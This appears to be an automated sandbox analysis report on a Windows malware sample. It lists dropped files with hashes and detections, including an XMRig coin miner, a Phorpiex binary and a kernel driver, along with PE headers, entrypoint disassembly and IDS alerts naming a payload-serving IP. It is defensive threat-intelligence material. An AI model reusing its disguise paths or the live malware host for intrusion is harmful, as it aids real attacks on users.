File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4xipuaab.g34.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5cehqxf4.krl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bxt42d4i.nfe.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fjk0g44u.olh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjfslgz4.1gf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_grqjuq4n.irv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kxt4kdf2.1of.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lbufvkp0.djc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgkljmwu.uco.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s3iti3fc.eur.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_soq3332j.kzj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_unya5ro4.1rs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vh0o1iq4.kfw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yk2gyel2.4uu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp

Download File

Process:	C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5536256
Entropy (8bit):	6.689058470432344
Encrypted:	false
SSDEEP:	98304:VJuCqT8q5Jt3eM2UIDLeIY3I7LMHrPZF6OhgIDxDjP5ysRAwRCVYFufw6:zulp5JtBF6Oh3DxxysRFkRw6
MD5:	8FA2F1BA9B9A7EA2B3C4DD627C627CEC
SHA1:	358E3800286E5D4C5662366AD7311BC5A51BA497
SHA-256:	78A452A6E1A3951DC367F57ACE90711202C824B68835C5DB86814F5B41486947
SHA-512:	74EDD438B806E086A3FACBE8FB98E235068C0D3F8572C6A3A937649CA0E9A6BCB9F0B42E5562E1CBE3576B011AB83730FC622B1496CC448DD3C296284671E775
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, Author: unknown Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$................................................................i..............C..Q....i.....i.....i........}....i.....Rich...........PE..d.....(d..........".......9...D.......6........@..............................~...........`.................................................\|.P......P~.......{..............`~......AM......................BM.(... AM.8.............9..............................text...^.9.......9................. ..`.rdata........9.......9.............@..@.data.....+...P.......P.............@....pdata........{.......Q.............@..@_RANDOMXV.....}.......S.............@..`_TEXT_CN.&....}..(....S.............@..`_TEXT_CN..... ~.......S.............@..`_RDATA.......@~.......S.............@..@.rsrc........P~.......S.............@..@.reloc.......`~.......S.............@..B........................................

C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys

Download File

Process:	C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1239611256.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5827584
Entropy (8bit):	7.718261688436852
Encrypted:	false
SSDEEP:	98304:ZMknXV8IFUX81qQ6lLYhJ/N0TB4HBDxWcLKamiwPZhsSZLZ1wpxGN:ZBnXV86UiqrlLY/8AW6YZPZf6HGN
MD5:	13B26B2C7048A92D6A843C1302618FAD
SHA1:	89C2DFC01AC12EF2704C7669844EC69F1700C1CA
SHA-256:	1753AD35ECE25AB9A19048C70062E9170F495E313D7355EBBBA59C38F5D90256
SHA-512:	D6AFF89B61C9945002A6798617AD304612460A607EF1CFBDCB32F8932CA648BCEE1D5F2E0321BB4C58C1F4642B1E0ECECC1EB82450FDEC7DFF69B5389F195455
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f...............&......X................@.............................pY.......Y...`... .............................................. Y.4....PY.......X.X............`Y.0.............................X.(...................."Y.P............................text...P...........................`..`.data.....V.......V.................@....rdata...9....X..:...xX.............@..@.pdata..X.....X.......X.............@..@.xdata........X.......X.............@..@.bss..........Y..........................idata..4.... Y.......X.............@....CRT....`....0Y.......X.............@....tls.........@Y.......X.............@....rsrc........PY.......X.............@....reloc..0....`Y.......X.............@..B........................................................................................................................................................................

C:\Users\user\tbtnds.dat

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	4080
Entropy (8bit):	4.729847075237712
Encrypted:	false
SSDEEP:	96:2ognIbioHgWZbe7N8vNhsC2NQ7u+UJs20v7yngHR6/Twg:2oDbiKLZbe7NkNhsD+UlGkC6/Td
MD5:	9984C582D3B8AEE760E19D9E4E52762D
SHA1:	2A779A6EA094F578E7CA8B35E4CD81E89ABB4F64
SHA-256:	18758A8DB2B76124F6BCBBB28CCBB070B9A9902E063DAEA756149301B9CDB296
SHA-512:	1963E5C4AE01692927A9A11BDEE99BE7ABDDA4BA1CB3C1D62C61104FEB04595B505835FF44521FE039F1E2DCD2536D4433C33F3B17EA3675D807D37D513D4F1F
Malicious:	false
Preview:	.G.(......[o...._:.....N.G.....Z......%.}B.......o....M_./.....................c.g............U.s.....mJE+....^.D....._8L....._;.f...................[.>..................M.........-X.............E.....Z..............%.............Z...............W..V.....K!*....m.o...._9......Q_._......'(......Pi....V>.........R....^.........l\......0.....%..V....].V......?.......................C.....Z.......Z..B....)e.a.....R.......c......N'.y............Z..7......4.....u.....^..K....U.m.......%......2.......m.....^..........<..................].S.....\.V......x.u....Z..>....\...............................M%....%.q.....%..6......~'.....D.....Z..j....Z..{.....XQ......X......U.h......K_r......<e............#H......]5.......cw....\/.....m.7.....Z..........?....-.\|q....[.\.....Z..H..............;.............6........I.............N'.........a.......I....Y.>^....R..K..............~.............X......\|m0.......Mz....Z..=.....^LR....;[.z..........._9........-.......G.............

C:\Windows\sysppvrdnvs.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\21324.scr
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	6.394560338648692
Encrypted:	false
SSDEEP:	1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl
MD5:	06560B5E92D704395BC6DAE58BC7E794
SHA1:	FBD3E4AE28620197D1F02BFC24ADAF4DDACD2372
SHA-256:	9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
SHA-512:	B55B49FC1BD526C47D88FCF8A20FCAED900BFB291F2E3E1186EC196A87127ED24DF71385AE04FEDCC802C362C4EBF38EDFC182013FEBF4496DDEB66CE5195EE3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\sysppvrdnvs.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L......g.....................p......@y............@..........................p..............................................\|0.......................................................................................................................text............................... ..`.rdata...?.......@..................@..@.data........@.......2..............@...................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.366159944391676
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Us051y7j25.exe
File size:	10'240 bytes
MD5:	82894caeb7e149bb38d344fbc2a821d9
SHA1:	bf86bd33666e58f291bc9135a95f67a7483cde52
SHA256:	fdbf0c19ebcafcf5e4295edc9e4a37836ba580b9a4d63b2a9ccdf8418ed5fe84
SHA512:	fff4b4e8f5d03f6dea5cffc58e59455362269410cb48ce5a2ced621f8489e01bfddd0f99d32b181186fe63ff64c1aa0172b735c008018dba61119143b5e9ddf3
SSDEEP:	192:4luii0852nhe8D9+6X/2X1JxTh3thW8yV:4lTdu2nhpsiuFV32V
TLSH:	8F22391EED4640B2F36A0EF057A281DE86BD840313D620EFFFD299648F19351A4DA0AD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........fW...9...9...9...B...9.......9...8...9.......9.......9.......9.......9.Rich..9.........................PE..L......g...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4019a7
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x671BA78F [Fri Oct 25 14:13:35 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	c8d4c38d956ebc54044d50e191e50d17

Entrypoint Preview

Instruction
call 00007F903C811B81h
jmp 00007F903C81153Bh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov eax, dword ptr [eax]
cmp dword ptr [eax], E06D7363h
jne 00007F903C81182Ch
cmp dword ptr [eax+10h], 03h
jne 00007F903C811826h
mov eax, dword ptr [eax+14h]
cmp eax, 19930520h
je 00007F903C811817h
cmp eax, 19930521h
je 00007F903C811810h
cmp eax, 19930522h
je 00007F903C811809h
cmp eax, 01994000h
jne 00007F903C811807h
call 00007F903C811BD6h
xor eax, eax
pop ebp
retn 0004h
push 004019B1h
call dword ptr [0040201Ch]
xor eax, eax
ret
int3
jmp dword ptr [004020B8h]
push 00000014h
push 00402370h
call 00007F903C811A6Dh
push dword ptr [00403384h]
mov esi, dword ptr [00402064h]
call esi
pop ecx
mov dword ptr [ebp-1Ch], eax
cmp eax, FFFFFFFFh
jne 00007F903C81180Eh
push dword ptr [ebp+08h]
call dword ptr [004020C4h]
pop ecx
jmp 00007F903C811869h
push 00000008h
call 00007F903C811B97h
pop ecx
and dword ptr [ebp-04h], 00000000h
push dword ptr [00403384h]
call esi
mov dword ptr [ebp-1Ch], eax
push dword ptr [00403380h]
call esi
pop ecx
pop ecx
mov dword ptr [ebp-20h], eax
lea eax, dword ptr [ebp-20h]
push eax
lea eax, dword ptr [ebp-1Ch]
push eax
push dword ptr [ebp+08h]
mov esi, dword ptr [0040207Ch]
call esi

Rich Headers

Programming Language:

[IMP] VS2005 build 50727
[IMP] VS2008 SP1 build 30729
[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x23ac	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5000	0x1cc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x22e0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf04	0x1000	9713fa163b36e99b96230a4c6e2e93b4	False	0.6005859375	data	5.980924888539037	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x854	0xa00	e314da7b877b5b193cc4a9f999c9406d	False	0.4484375	SysEx File - Jellinghaus	4.569523349557985	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x38c	0x200	202a0f14ba4a024e6a35d5895669b769	False	0.060546875	data	0.35275948821577235	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x2b0	0x400	554d0cedd69e96ee00c8324ce4da604c	False	0.3623046875	data	5.194459669718395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5000	0x226	0x400	7951b1b41631be1461ac9dabfa024b34	False	0.453125	data	3.7419716739437874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4058	0x256	ASCII text, with CRLF line terminators	English	United States	0.5100334448160535

Imports

DLL	Import
MSVCR90.dll	?terminate@@YAXXZ, _unlock, __dllonexit, _lock, _decode_pointer, _except_handler4_common, _invoke_watson, _controlfp_s, _crt_debugger_hook, __set_app_type, _encode_pointer, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _configthreadlocale, _initterm_e, _initterm, _acmdln, exit, _ismbblead, _XcptFilter, _exit, _cexit, __getmainargs, _amsg_exit, srand, mbstowcs, _onexit, rand
KERNEL32.dll	UnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, GetSystemTimeAsFileTime, GetCurrentProcessId, GetCurrentThreadId, QueryPerformanceCounter, SetUnhandledExceptionFilter, GetStartupInfoA, InterlockedCompareExchange, InterlockedExchange, Sleep, DeleteFileW, CopyFileW, MoveFileW, LoadLibraryA, GetProcAddress, GetTickCount, FreeLibrary, IsDebuggerPresent
USER32.dll	FindWindowA, wsprintfW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T07:26:13.686782+0200	2837677	ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	1	185.215.113.66	80	192.168.2.6	49814	TCP
2024-10-26T07:26:13.686782+0200	2837677	ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	1	185.215.113.66	80	192.168.2.6	50018	TCP
2024-10-26T07:26:13.686782+0200	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.6	50008	185.215.113.66	5152	TCP
2024-10-26T07:26:13.686782+0200	2837677	ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	1	185.215.113.66	80	192.168.2.6	50000	TCP
2024-10-26T07:26:26.831139+0200	2022050	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1	1	185.215.113.66	80	192.168.2.6	49763	TCP
2024-10-26T07:26:27.136621+0200	2022051	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2	1	185.215.113.66	80	192.168.2.6	49763	TCP
